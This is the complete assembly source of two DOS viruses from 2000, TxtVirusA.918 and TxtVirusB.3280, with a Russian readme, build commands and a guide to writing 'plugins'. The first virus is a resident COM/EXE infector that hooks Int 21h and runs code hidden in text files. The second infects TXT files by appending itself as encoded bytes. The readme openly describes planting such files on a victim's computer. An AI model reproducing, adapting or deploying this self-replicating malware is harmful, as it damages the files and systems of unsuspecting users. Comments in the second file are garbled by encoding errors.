COMMENT %

        Yeah! The world's first TXT virus! Actually, there are two
	viruses - COM.EXE.TSR and TXT.TSR. The first virus waits for
	opening of any TXT-file and then reads some bytes from the end
	of this file, decrypts it and checks up the CRC. The good CRC
	means that TXT-file is infected by the second virus. In this
	case the first virus installs the second virus into memory and
	hooks Int 21h. After that both viruses work separately from
	each other.

   Ура! Свершилось! Наконец-то у меня дошли руки до написания этой документации
(радуйтесь: теперь вам не прийдется разбирать исходник для того чтобы узнать,
что я склепал на этот раз). А время на это дело у меня нашлось лишь потому, что
зима в этом году все-таки наступила (как ни странно), и при такой температуре
на улице сейчас ловить нечего. Ну ладно. Разговоры о погоде я приберегу для
другого случая (а случаи-то бывают разные), так что к делу.
   Перед вами не какая-нибудь хуйня, а самый настоящий TXT вирус - мечта многих
поколений вирмэйкеров. Хотя я гоню: TXT вирус находится в другом файле, а в
этом - COM.EXE.TSR вирус. Вот о нем я сейчас и расскажу. Этот самый вирус имеет
одну замечательную способность: он умеет запускать код, зашифрованный в простых
текстовых файлах. Техническая сторона вопроса такова: зараженный текстовый файл
представляет собой обычный текст плюс код, каждый байт которого зашифрован
специальным алгоритмом. В конце файла находятся еще черыре байта - длина кода
и контрольная сумма - тоже зашифрованные. Алгоритм шифровки очень прост: каждый
байт кода представлен в виде восьми байтов, которые принимают значение либо 00,
либо FF. Внешне это выглядит просто как большое количество пробелов.
   Когда юзер открывает зараженный текстовый файл, наш COM.EXE.TSR вирус (если,
конечно, он уже находится в памяти) считывает из конца этого файла длину кода
и контрольную сумму и расшифровывает их. Затем он выделяет нужное количество
памяти, дочитывает из файла код, расшифровывает его, размещает в выделенной
памяти, считает контрольную сумму и, если она оказалась правильной, передает
коду управление. Если после отработки кода флаг CF окажется сброшен, то вирус
освобождает ранее выделенную память, если же флаг CF установлен, то просто
передает управление операционной системе.
   Теперь долгожданный (я надеюсь) рассказ про TXT вирус. Он получает
управление способом, описанным выше. Далее он проверяет наличие своей копии
в памяти, и, если она обнаружена, то сбрасывает флаг CF и завершает свою
работу. В противном случае переставляет на себя вектор Int 21h и поднимает
флаг CF (чтобы не быть выгруженным из памяти). После этого он ведет себя, как
обычный файловый вирус, с тем лишь отличием, что заражает только текстовые
файлы (указанным выше способом - шифрует себя и дописывается в конец вместе
с размером кода и контрольной суммой). Атрибуты, дату и время создания файла
TXT вирус не сохраняет - ломало такие мелочи писать.
   Но вернемся к COM.EXE.TSR вирусу. Это вполне полноценный вирус. Заражает
файлы при открытии и запуске. Обрабатывает файлы с атрибутом "ReadOnly". Не
изменяет атрибуты, дату и время создания файла. Не глючит на защищенных от
записи дискетах. Корректно заражает COM файлы для Windows - RUSNS, ENUNS и
т.п. Не портит NewEXE файлы. Не заражает файлы повторно: у COM файлов метка
зараженности - команда "jmp" в самом начале, у EXE файлов - число 6666h в 
заголовке в поле контрольной суммы.
   Внимание! Еще один важный момент! Вы уже, наверное, догадались, что в
зараженных текстовых файлах может находиться не только мой хваленый TXT вирус,
а вообще любой код. Иными словами, можно писать плагины (это название не очень
подходит, но другого я не придумал). Плагин - это код, обработанный специальным
образом и записанный в текстовый файл. Если компьютер заражен описанным выше
COM.EXE.TSR вирусом, то плагины, пришедшие на этот компьютер, будут запускаться
автоматически, стоит только юзеру открыть зараженный плагином текстовый файл.
Руководство по написанию плагинов:

   1. Плагин - это обыкновенный код, больше всего похожий на COM файл. Только
      все смещения должны отсчитываться не от 100h (как в COM файле), а от 0.
      Поставьте в начале исходника директиву "org 0". Модель памяти должна быть
      TINY.
   2. В начале плагина обязательно сохраняйте все используемые регистры, а
      в конце - восстанавливайте их. Выход из плагина - "retf".
   3. Если вы пишите резидентный плагин, перед выходом устанавливайте флаг CF
      (плагин не будет выгружен из памяти). В противном случае сбрасывайте CF.
   4. Вместо Int 21h лучше вызывать Int 65h - быстрее будет работать. Внимание!
      Если вы хотите установить вектор какого-нибудь прерывания, то для этой
      цели используйте только Int 21h - иначе Windows может проглючить. Вектор
      Int 65h менять нельзя - он используется COM.EXE.TSR вирусом.
   5. Скомпилируйте плагин в EXE файл. Потом сконвертируйте его в BIN с помощью
      EXE2BIN и затем обработайте его прилагаемой утилитой BIN2TXT. Полученный
      текстовый файл можно закидывать к жертве на компьютер. В его начало можно
      записать какой-нибудь текст - это никак не повлияет на работу.

   Ну вот, пожалуй, и все. Видимо, это моя последняя работа в области DOS
технологий. Вообще-то я уже довольно давно начал программировать под Windows
(и скоро вы увидите мои продукты под эту операционку), но уж очень мне хотелось
написать сие извращение, что я, собственно, и сделал. До скорых встреч!

                                  DJ Sadovnikov (http://i.am/djsad), 24.11.2000

 ══════════════════════════════════════════════════════════════════════════════

               Компилировать с помощью TASM 4.1+

                  tasm /m txtvir1.asm
                  tlink /x txtvir1.obj
                  del txtvir1.obj


               Файлы из архива:

                  txtvir1.asm   17000 (вирус TxtVirusA.918)
                  txtvir1.exe    1463 (он же откомпилированный)
                  txtvir2.asm    4000 (вирус TxtVirusB.3280)
                  txtvir2.txt    3280 (он же откомпилированный)
                  example1.asm    730 (пример нерезидентного плагина)
                  example1.txt    416 (он же откомпилированный)
                  example2.asm    810 (пример резидентного плагина)
                  example2.txt    448 (он же откомпилированный)
                  bin2txt.pas     851 (конвертер BIN в TXT)
                  bin2txt.exe    3968 (он же откомпилированный)
%






;══════════════════════════════════════════════════════════════════════════════

DEBUG = 0	; 0 - вирус реагирует на COM, EXE и TXT файлы
		; 1 - вирус реагирует на COO, EXX и TXX файлы


		.286
Code		segment	use16
		assume	cs:Code, ds:Code

Start:		mov	ah, 9
		mov	dx, offset Msg+100h
		int	21h
		mov	ax, 4C00h
		int	21h

Msg		db	'Virus has started...$'

;══════════════════════════════════════════════════════════════════════════════










;══════════════════════════════════════════════════════════════════════════════

Virus:		pusha
		push	ds es

		call	Entry
Entry:		pop	si
		sub	si, Entry-Virus


;[Проверяем наличие вируса в памяти]

		mov	ax, 0ABCDh
		int	21h
		cmp	ax, 0CDABh
		je	Exit


;[Укорачиваем длину текущего блока памяти]

		mov	ax, ds
		dec	ax
		mov	ds, ax
		mov	bx, ds:[3]
		sub	bx, MemSize+1
		mov	ah, 4Ah
		int	21h
		jc	Exit


;[Сохраняем адрес старого обработчика Int 21h]

		mov	ax, 3521h
		int	21h
		mov	cs:[Ofs21h-Virus+si], bx
		mov	cs:[Seg21h-Virus+si], es


;[Переставляем Int 21h на Int 65h]

		mov	ax, 2565h
		mov	dx, bx
		push	es
		pop	ds
		int	21h


;[Выделяем память для вируса]

		mov	ah, 48h
		mov	bx, MemSize
		int	21h
		jc	Exit
		mov	es, ax


;[Помечаем блок памяти как системную область]

		dec	ax
		mov	ds, ax
		mov	ds:[1], word ptr 8


;[Копируем вирус в выделенную память]

		cld
		push	cs
		pop	ds
		mov	cx, CodeSize
		xor	di, di
		push	si
		rep	movsb
		pop	si


;[Устанавливаем свой обработчик Int 21h]

		mov	ax, 2521h
		mov	dx, Int21h-Virus
		push	es
		pop	ds
		int	21h


;[Определяем, из какого файла мы стартовали]

Exit:		push	cs
		pop	ds es
		mov	ax, es
		mov	bx, cs
		cmp	ax, bx
		jne	ExitEXE
		

;[Отдаем управление зараженной программе COM]

ExitCOM:	mov	ax, ds:[Old3b-Virus+si]
		mov	ds:[100h], ax
		mov	al, ds:[Old3b+2-Virus+si]
		mov	ds:[102h], al
		pop	ds
		popa
		push	100h
		ret


;[Отдаем управление зараженной программе EXE]

ExitEXE:	add	ax, 10h
		add	ds:[OldCS-Virus+si], ax
		add	ds:[OldSS+1-Virus+si], ax
		pop	ds
		popa
		jmp	$+2

		cli
OldSS:		mov	sp, 0
		mov	ss, sp
OldSP:		mov	sp, 0
		sti

		db	0EAh
OldIP		dw	0
OldCS		dw	0

;══════════════════════════════════════════════════════════════════════════════










;══════════════════════════════════════════════════════════════════════════════
;                              ОБРАБОТЧИКИ
;══════════════════════════════════════════════════════════════════════════════

Int24h:		mov	al, 3
		iret


Int21h:		cmp	ax, 0ABCDh
		jne	NoTest
		xchg	ah, al
		iret


NoTest:		pusha
		push	ds es

		cmp	ah, 3Dh
		je	Begin
		cmp	ah, 4Bh
		jne	BadFunc


;[Сохраняем вектор Int 24h]

Begin:		mov	ax, 3524h
		int	65h
		push	es
		push	bx


;[Устанавливаем свой обработчик Int 24h]

		push	ds dx
		mov	ax, 2524h
		mov	dx, Int24h-Virus
		call	Int65h
		pop	dx ds


;[Ищем конец имени файла]

		mov	si, dx
SeekZero:	inc	si
		cmp	ds:[si], byte ptr 0
		jne	SeekZero


;[Определяем тип файла]

		cmp	ds:[si-4], byte ptr '.'
		jne	Quit
		mov	di, Extns-Virus
		call	TestExt
		je	ProcessCE
		call	TestExt
		je	ProcessCE
		call	TestExt
		jne	Quit
		jmp	ProcessTXT


;[Восстанавливаем вектор Int 24h]

Quit:		mov	ax, 2524h
		pop	dx
		pop	ds
		int	65h


;[Передаем управление следующему обработчику]

BadFunc:	pop	es ds
		popa

		db	0EAh
Ofs21h		dw	0
Seg21h		dw	0

;══════════════════════════════════════════════════════════════════════════════

;[Сохраняем атрибуты файла]

ProcessCE:	mov	ax, 4300h
		int	65h
		jc	Quit
		push	cx
		push	dx
		push	ds


;[Обнуляем атрибуты файла]

		mov	ax, 4301h
		xor	cx, cx
		int	65h
		jc	RestAttr


;[Открываем файл]

		mov	ax, 3D02h
		int	65h
		jc	RestAttr
		xchg	bx, ax


;[Сохраняем дату и время создания файла]

		mov	ax, 5700h
		int	65h
		jc	Close
		push	cx
		push	dx


;[Считываем первые два байта файла]

		mov	cx, 2
		mov	dx, Temp-Virus
		call	Read
		jc	RestTime


;[Устанавливаем указатель в начало файла]

		call	SeekStart
		jc	RestTime


;[Проверяем тип файла и его зараженность]

		mov	ax, ds:[Temp-Virus]
		cmp	ax, 'ZM'
		je	InfectEXE
		cmp	al, 0E9h
		je	RestTime
		jmp	InfectCOM


;[Восстанавливаем дату и время создания файла]

RestTime:	mov	ax, 5701h
		pop	dx
		pop	cx
		int	65h


;[Закрываем файл]

Close:		mov	ah, 3Eh
		int	65h


;[Восстанавливаем атрибуты файла]

RestAttr:	mov	ax, 4301h
		pop	ds
		pop	dx
		pop	cx
		int	65h
		jmp	Quit

;══════════════════════════════════════════════════════════════════════════════

;[Считываем заголовок EXE]

InfectEXE:	mov	cx, 19h
		mov	dx, Buffer-Virus
		call	Read
		jc	RestTime


;[Проверяем, заражен ли файл]

		cmp	ds:[Buffer+12h-Virus], 6666h
		je	RestTime
		cmp	ds:[Buffer+18h-Virus], byte ptr 40h
		je	RestTime
		mov	ds:[Buffer+12h-Virus], 6666h


;[Проверяем, содержит ли файл оверлей]

		call	GetFSize
		jc	RestTime
		call	Calc
		cmp	ds:[Buffer+4-Virus], ax
		jne	RestTime
		cmp	ds:[Buffer+2-Virus], dx
		jne	RestTime


;[Вычисляем длину файла с вирусом и вносим ее в заголовок]

		call	GetFSize
		jc	RestTime
		add	ax, CodeSize
		adc	dx, 0
		call	Calc
		mov	ds:[Buffer+4-Virus], ax
		mov	ds:[Buffer+2-Virus], dx


;[Сохраняем SS, SP, CS и IP]

		mov	ax, ds:[Buffer+0Eh-Virus]
		mov	ds:[OldSS+1-Virus], ax
		mov	ax, ds:[Buffer+10h-Virus]
		mov	ds:[OldSP+1-Virus], ax
		mov	ax, ds:[Buffer+16h-Virus]
		mov	ds:[OldCS-Virus], ax
		mov	ax, ds:[Buffer+14h-Virus]
		mov	ds:[OldIP-Virus], ax


;[Корректируем точку входа и адрес стека]

		call	GetFSize
		jc	RestTime
		mov	cx, 16
		div	cx
		sub	ax, ds:[Buffer+08h-Virus]
		mov	ds:[Buffer+16h-Virus], ax
		mov	ds:[Buffer+14h-Virus], dx
		mov	ds:[Buffer+0Eh-Virus], ax
		mov	ds:[Buffer+10h-Virus], CodeSize+100h


;[Записываем вирус в файл]

		mov	cx, CodeSize
		call	WriteVirus
		jc	RestTimeA


;[Устанавливаем указатель в начало файла]

		call	SeekStart
		jc	RestTimeA


;[Записываем новый заголовок]

		mov	cx, 19h
		mov	dx, Buffer-Virus
		call	Write
RestTimeA:	jmp	RestTime

;══════════════════════════════════════════════════════════════════════════════

;[Считываем три байта]

InfectCOM:	mov	cx, 3
		mov	dx, Old3b-Virus
		call	Read
		jc	RestTimeA


;[Устанавливаем указатель на 7 позиций от конца файла]

		mov	dx, -7
		call	SeekEnd
		jc	RestTimeA
		add	ax, 7
		adc	dx, 0


;[Проверяем длину файла и вычисляем адрес перехода]

		or	dx, dx
		jnz	RestTimeA
		cmp	ax, 0FF00h-CodeSize
		jae	RestTimeA
		sub	ax, 3
		jc	RestTimeA
		mov	ds:[New3b+1-Virus], ax


;[Считываем семь байт]

		mov	cx, 7
		mov	dx, XXXNS-Virus
		call	Read
		jc	RestTimeA


;[Корректируем XXXNS]

		mov	cx, CodeSize
		cmp	ds:[XXXNS+3-Virus], 'SN'
		jne	Skip1
		add	cx, 7
		add	ds:[XXXNS+5-Virus], cx


;[Записываем вирус в файл]

Skip1:		call	WriteVirus
		jc	RestTimeA


;[Перемещаем указатель в начало файла]

		call	SeekStart
		jc	RestTimeA


;[Записываем команду перехода на вирус]

		mov	cx, 3
		mov	dx, New3b-Virus
		call	Write
		jmp	RestTime

;══════════════════════════════════════════════════════════════════════════════

;[Открываем файл]

ProcessTXT:	mov	ax, 3D00h
		int	65h
		jnc	Skip2
		jmp	Quit
Skip2:		xchg	bx, ax


;[Устанавливаем указатель на 32 байта от конца файла]

		mov	dx, -32
		call	SeekEnd
		jc	CloseA


;[Считываем размер дампа и контрольную сумму]

		call	CvtByte
		jc	CloseA
		mov	ds:[FSize-Virus], al
		call	CvtByte
		jc	CloseA
		mov	ds:[FSize+1-Virus], al
		call	CvtByte
		jc	CloseA
		mov	ds:[Crc-Virus], al
		call	CvtByte
		jc	CloseA
		mov	ds:[Crc+1-Virus], al


;[Выделяем память под дамп]

		push	bx
		mov	ah, 48h
		mov	bx, ds:[FSize-Virus]
		shr	bx, 4
		inc	bx
		int	65h
		pop	bx
		jc	CloseA


;[Помечаем блок памяти как системную область]

		push	ax
		dec	ax
		mov	es, ax
		mov	es:[1], word ptr 8
		pop	es


;[Устанавливаем указатель на начало дампа]

		mov	dx, ds:[FSize-Virus]
		add	dx, 4
		shl	dx, 3
		neg	dx
		call	SeekEnd
		jc	Release


;[Преобразовываем дамп в нормальный код]

		cld
		xor	bp, bp
		xor	di, di
Loop1:		call	CvtByte
		jc	Release
		mov	ah, 0
		add	bp, ax
		stosb
		cmp	di, ds:[FSize-Virus]
		jne	Loop1


;[Проверяем контрольную сумму]

		cmp	bp, ds:[Crc-Virus]
		jne	Release


;[Передаем управление коду]

		mov	ds:[SegCode-Virus], es
		jmp	$+2
		db	9Ah
		dw	0
SegCode		dw	0
		jc	CloseA


;[Освобождаем память]

Release:	mov	ah, 49h
		int	65h


;[Закрываем файл]

CloseA:		mov	ah, 3Eh
		int	65h
		jmp	Quit

;══════════════════════════════════════════════════════════════════════════════










;══════════════════════════════════════════════════════════════════════════════
;                             ПОДПРОГРАММЫ
;══════════════════════════════════════════════════════════════════════════════

CvtByte:	mov	cx, 8
		mov	dx, Buffer-Virus
		call	Read
		jc	Return

		cld
		mov	cx, 8
		xor	ax, ax
		mov	si, dx
Loop2:		lodsb
		neg	al
		cmp	al, 1
		ja	BadRet
		ror	al, cl
		or	ah, al
		loop	Loop2
		xchg	ah, al
GoodRet:	clc
		ret

;══════════════════════════════════════════════════════════════════════════════

TestExt:	add	di, 3
		mov	al, ds:[si-3]
		and	al, 0DFh
		cmp	al, cs:[di-3]
		jne	Return
		mov	ax, ds:[si-2]
		and	ax, 0DFDFh
		cmp	ax, cs:[di-2]
Return:		ret

;══════════════════════════════════════════════════════════════════════════════

Calc:		mov	cx, 512
		div	cx
		or	dx, dx
		jz	$+3
		inc	ax
		ret

;══════════════════════════════════════════════════════════════════════════════

GetFSize:	mov	al, 2
		jmp	$+4
SeekStart:	mov	al, 0
		mov	ah, 42h
		xor	cx, cx
		xor	dx, dx
		int	65h
		ret

SeekEnd:	mov	ax, 4202h
		mov	cx, -1
		int	65h
		jc	Return
		cmp	dx, 0
		jge	GoodRet
BadRet:		stc
		ret

;══════════════════════════════════════════════════════════════════════════════

WriteVirus:	xor	dx, dx
Write:		mov	ah, 40h
		jmp	$+4
Read:		mov	ah, 3Fh
Int65h:		push	cs
		pop	ds
		int	65h
		ret

;══════════════════════════════════════════════════════════════════════════════










;══════════════════════════════════════════════════════════════════════════════
;                                ДАННЫЕ
;══════════════════════════════════════════════════════════════════════════════

VirName		db	'TxtVirusA.918 -- Copyright (c) by DJ Sadovnikov'

IF DEBUG
Extns		db	'COOEXXTXX'
ELSE
Extns		db	'COMEXETXT'
ENDIF
Old3b		db	0,0,0
New3b		db	0E9h,0,0

CodeSize	=	$-Virus

XXXNS		db	7 dup (?)
Buffer		db	19h dup (?)
FSize		dw	?
Crc		dw	?
Temp		dw	?

MemSize		=	($-Virus)/16 + 1

Code		ends
		end	Virus
--[txtvir2.asm]----------------------------------------------------------------

;    'Ёагб TxtVirusB.3280
;
; ?R┐ЇЁ<ЁаRў вм б ЇR┐Rймо TASM 4.1+
;
;    tasm /m txtvir2.asm
;    tlink /x txtvir2.obj
;    exe2bin txtvir2.exe
;    bin2txt txtvir2.bin txtvir2.txt
;
;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

		.286
Code		segment use16
		assume  cs:Code, ds:Code
		org	0

Virus:		pusha
		push	ds es

		push	cs
		pop	ds


;[?аRў?ап?┐ - <ЁзЁ? ўЁагб  ў Ї ┐пвЁ]

		mov	ax, 7777h
		int	21h
		cmp	ax, 6666h
		jne	Install
		clc
		jmp	Exit


;['Rеа -п?┐ бв алc ў?ЄвRа Int 21h]

Install:	mov	ax, 3521h
		int	21h
		mov	ds:[Seg21h], es
		mov	ds:[Ofs21h], bx


;["бв - ў<Ёў ?┐ бўRc RЎа ЎRвзЁЄ Int 21h]

		mov	ax, 2521h
		mov	dx, offset Int21h
		int	21h

		stc
Exit:		pop	es ds
		popa
		retf

;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

Int21h:		cmp	ax, 7777h
		jne	NoTest
		mov	ax, 6666h
		iret

NoTest:		pusha
		push	ds es

		cmp	ah, 3Dh
		jne	Quit


;[?й?┐ ЄR-?ж Ё┐?-Ё д c< ]

		mov	si, dx
SeekZero:	inc	si
		cmp	ds:[si], byte ptr 0
		jne	SeekZero


;[?Їа?¤?<п?┐ вЁЇ д c< ]

		mov	ax, ds:[si-4]
		and	ah, 0DFh
		cmp	ax, 'T.'
		jne	Quit
		mov	ax, ds:[si-2]
		and	ax, 0DFDFh
		cmp	ax, 'TX'
		jne	Quit


;[?вЄалў ?┐ д c<]

		mov	ax, 3D02h
		int	65h
		jc	Quit
		xchg	bx, ax
		push	cs
		pop	ds


;["бв - ў<Ёў ?┐ гЄ  в?<м -  32 ЇRЁжЁЁ Rв ЄR-ж  д c< ]

		mov	dx, -32
		call	SeekEnd
		jc	Infect


;['зЁвлў ?┐ а ┐?а ¤ ┐Ї  Ё ЄR-ваR<м-го бг┐┐г]

		call	CvtByte1
		jc	Infect
		mov	byte ptr ds:[FSize], al
		call	CvtByte1
		jc	Infect
		mov	byte ptr ds:[FSize+1], al
		call	CvtByte1
		jc	Infect
		mov	byte ptr ds:[Crc], al
		call	CvtByte1
		jc	Infect
		mov	byte ptr ds:[Crc+1], al


;["бв - ў<Ёў ?┐ гЄ  в?<м -  - з <R ¤ ┐Ї ]

		mov	dx, ds:[FSize]
		add	dx, 4
		shl	dx, 3
		neg	dx
		call	SeekEnd
		jc	Infect


;['зЁв ?┐ ЄR-ваR<м-го бг┐┐г]

		xor	bp, bp
		xor	di, di
Loop1:		call	CvtByte1
		jc	Infect
		mov	ah, 0
		add	bp, ax
		inc	di
		cmp	di, ds:[FSize]
		jne	Loop1


;[?аRў?ап?┐ ЄR-ваR<м-го бг┐┐г]

		cmp	bp, ds:[Crc]
		jne	Infect


;[╪ Єалў ?┐ д c<]

Close:		mov	ah, 3Eh
		int	65h


Quit:		pop	es ds
		popa

		db	0EAh
Ofs21h		dw	0
Seg21h		dw	0


;["бв - ў<Ёў ?┐ гЄ  в?<м ў ЄR-?ж д c< ]

Infect:		mov	ax, 4202h
		xor	cx, cx
		xor	dx, dx
		int	65h
		jc	Close


;[?а?RЎа Rўлў ?┐ бўRc ЄR¤ Ё  ЇЁблў ?┐ ??R ў д c<]

		cld
		xor	bp, bp
		xor	si, si
Loop2:		lodsb
		mov	ah, 0
		add	bp, ax
		call	CvtByte2
		jc	Close
		cmp	si, CodeSize
		jne	Loop2


;[?а?RЎа Rўлў ?┐ Ё  ЇЁблў ?┐ а ┐?а д c<  Ё ЄR-ваR<м-го бг┐┐г]

		mov	ax, CodeSize
		call	CvtByte2
		jc	Close
		mov	ax, CodeSize
		xchg	ah, al
		call	CvtByte2
		jc	Close
		mov	ax, bp
		call	CvtByte2
		jc	Close
		mov	ax, bp
		xchg	ah, al
		call	CvtByte2
		jmp	Close

;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

CvtByte1:	mov	ah, 3Fh
		mov	cx, 8
		mov	dx, offset Buffer
		int	65h
		jc	Return

		cld
		mov	cx, 8
		xor	ax, ax
		mov	si, dx
Loop3:		lodsb
		neg	al
		cmp	al, 1
		ja	BadRet
		ror	al, cl
		or	ah, al
		loop	Loop3
		xchg	ah, al
GoodRet:	clc
		ret

;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

CvtByte2:	mov	cx, 8
		mov	di, offset Buffer
Loop4:		mov	ds:[di], byte ptr 0
		shr	al, 1
		jnc	Skip
		mov	ds:[di], byte ptr 0FFh
Skip:		inc	di
		loop	Loop4

		mov	ah, 40h
		mov	cx, 8
		mov	dx, offset Buffer
		int	65h
Return:		ret

;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

SeekEnd:	mov	ax, 4202h
		mov	cx, -1
		int	65h
		jc	Return
		cmp	dx, 0
		jge	GoodRet
BadRet:		stc
		ret

;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

VirName		db	'TxtVirusB.3280 -- Copyright (c) by DJ Sadovnikov'
Buffer		db	8 dup (0)
FSize		dw	0
Crc		dw	0

CodeSize	=	$-Virus

Code		ends
		end	Virus
